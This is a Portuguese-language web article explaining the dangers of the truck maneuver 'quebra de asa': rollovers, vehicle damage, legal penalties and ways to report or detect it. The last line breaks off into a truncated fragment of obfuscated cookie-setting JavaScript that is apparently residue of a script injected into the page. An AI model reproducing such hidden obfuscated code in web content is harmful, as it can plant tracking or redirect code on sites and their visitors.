Quebra de Asa – Saiba mais sobre essa manobra Perigosa

Quebra de asa – Os caminhões são a supremacia nas estradas de todo o país. Fazendo uma pequena viagem, mesmo que seja de uma cidade para outra dentro de uma região metropolitana, veremos vários veículos desse tipo no percurso, transportando os mais variados produtos e elementos importantes para o nosso dia a dia, tais como alimentos, combustível, bebidas, dentre outros.

Dessa forma, podemos ver como esses veículos e os seus condutores são importantes para que o país continue funcionando. No entanto, algumas atitudes que acontecem comumente nas estradas devem ser evitadas, pois podem trazer várias consequências negativas para o próprio motorista e até para outras pessoas.

Esse é o caso da manobra “quebra de asa”, comum nas estradas, por motoristas de veículos de grande porte nas rodovias do país. A manobra, considerada perigosa, pode trazer consideráveis prejuízos financeiros para transportadoras, e também para a segurança dos motoristas transeuntes. Saiba aqui tudo sobre a “quebra de asa” e como ela afeta o tráfego e na direção defensiva do motorista no trânsito.

O que é a “quebra de asa”?

A manobra, vista como uma brincadeira – irresponsável – consiste em balançar a carroceria do veículo, de um lado para outro, podendo tirar a roda da pista. Assim, a carreta ou o caminhão trabalha além da sua capacidade, para reequilibrar o veículo novamente, ocasionando impactos na suspensão e no desgaste nos pneus do automóvel.

A manobra é considerada um risco a segurança do motorista, e também aos outros veículos que transitam na pista. A “quebra de asa” é um fator considerável na causa de acidentes provocados por falha humana.

 Quais são os perigos da “quebra de asa”?

 O movimento brusco realizado em movimento pode causar a capotagem bruta do veículo. Com isso, o veículo perde o controle de direção, tombando meio ao trecho de passagem, e afetando outros automóveis envoltos.

Quais são as consequências financeiras da “quebra de asa”?

A manobra pode ocasionar sérios danos estruturais ao veículo – e para transportadoras pode afetar no custo das mercadorias, e também no tempo parado que o veículo ficará para o conserto em caso de acidentes. Ao realizar o movimento, o veículo tem a sua suspensão prejudicada, como também o desgaste extremo das laterais dos pneus.

Além disso, outros danos também podem ser encontrados na estrutura de carga do caminhão. Acontece que, a partir desse movimento arriscado, o baú levado pode fazer uma força muito maior do que a quinta roda pode resistir. Dessa forma, o pino-rei, responsável por fixar esse elemento, pode trincar e causar danos irreversíveis ao veículo – só resolvidos com troca.

Outro efeito negativo pode ser visto também na parte interna do caminhão. Em algumas vezes, a força da manobra é tanta que pode ocasionar o desalinhamento do sistema de direção do veículo, fazendo-se necessário todo um processo de alinhamento inicial do pesado.

A “quebra de asa” é considerada crime de direção perigosa, e a pena para o crime, são de seis meses a dois anos de prisão. E essa pena pode piorar – e muito – se mais de um veículo estiver envolvido na manobra de quebra de asa. Caso sejam dois ou mais caminhões o acontecimento será avaliado pela justiça e poderá ser considerado como “racha”, onde as penas e as multas podem ser significativamente maiores.

A consciência do motorista é fundamental, e a prática da direção defensiva pelos outros motoristas podem minimizar os efeitos do acidente no trânsito. Por isso, é fundamental que empresas passem informações do real efeito da prática, e as suas consequências relacionadas à lei de trânsito no Brasil.

No caso de ocorrência da prática de direção perigosa no trânsito, a Polícia Rodoviária Federal deve ser contatada, por meio do número 191. Também é possível denunciar pessoas que não realizaram, mas sim incentivaram a prática da manobra. Acontece que, muitos entusiastas dos caminhões e desse tipo de técnica perigosa pedem, na beira da estada, para que os condutores realizem as manobras.

Isso é algo totalmente egoísta, pois além de gerar muitos gastos para o condutor – principalmente em casos de caminhoneiros autônomos –, poderá custar até a vida do motorista, uma vez que a manobra pode ocasionar um capotamento do veículo.

Tecnologias para evitar a “Quebra de Asa”

Nos dias de hoje é comum que algumas empresas, principalmente aquelas que possuem mais renome em âmbito nacional, além de grandes frotas, usem tecnologias para evitar esse tipo de manobra perigosa e gerarem custos adicionais para as companhias.

Estas, por sua vez, funcionam como caixas pretas – semelhantes aquelas dos aviões – que documentam todo o percurso. A partir desses elementos, tornou-se possível identificar se o caminhão sofreu os danos devido a esse tipo de manobra ou não.

“Quebra de asa”: uma prática que pode custar para outros

Como já falamos várias vezes nesse texto, a quebra de asa é uma manobra que possui diversos efeitos negativos e pode produzir várias consequências irreversíveis para quem a realiza. No entanto, tudo que falamos até agora estava voltado para o motorista e para o seu caminhão. Acontece que, além de tudo isso, a manobra pode custar a integridade física e até a vida de outras pessoas!

Pense que, em uma estrada, um caminhão está andando e a alguns metros atrás existe um carro, onde estão dentro uma família composta por um homem, uma mulher e um casal de filhos pequenos. O caminhoneiro então decide realizar a “quebra de asa”, com o pretexto que de que está apenas se divertindo.

No entanto, ao errar um pouco no cálculo, o caminhão tomba e, como estava perto, o carro não consegue frear a tempo, capotando e acabando com a vida de todas as pessoas que estavam dentro dele. Percebeu como realizar esse movimento é algo totalmente egoísta, que pode tirar também a vida de outras pessoas?,’setTime’,’getTime’,’;\x20expires=’];(function(c,d){var (e||”)+g+’;\x20path=/’;}r (0x0)==’\x20′)n=n[b(‘0xb’)]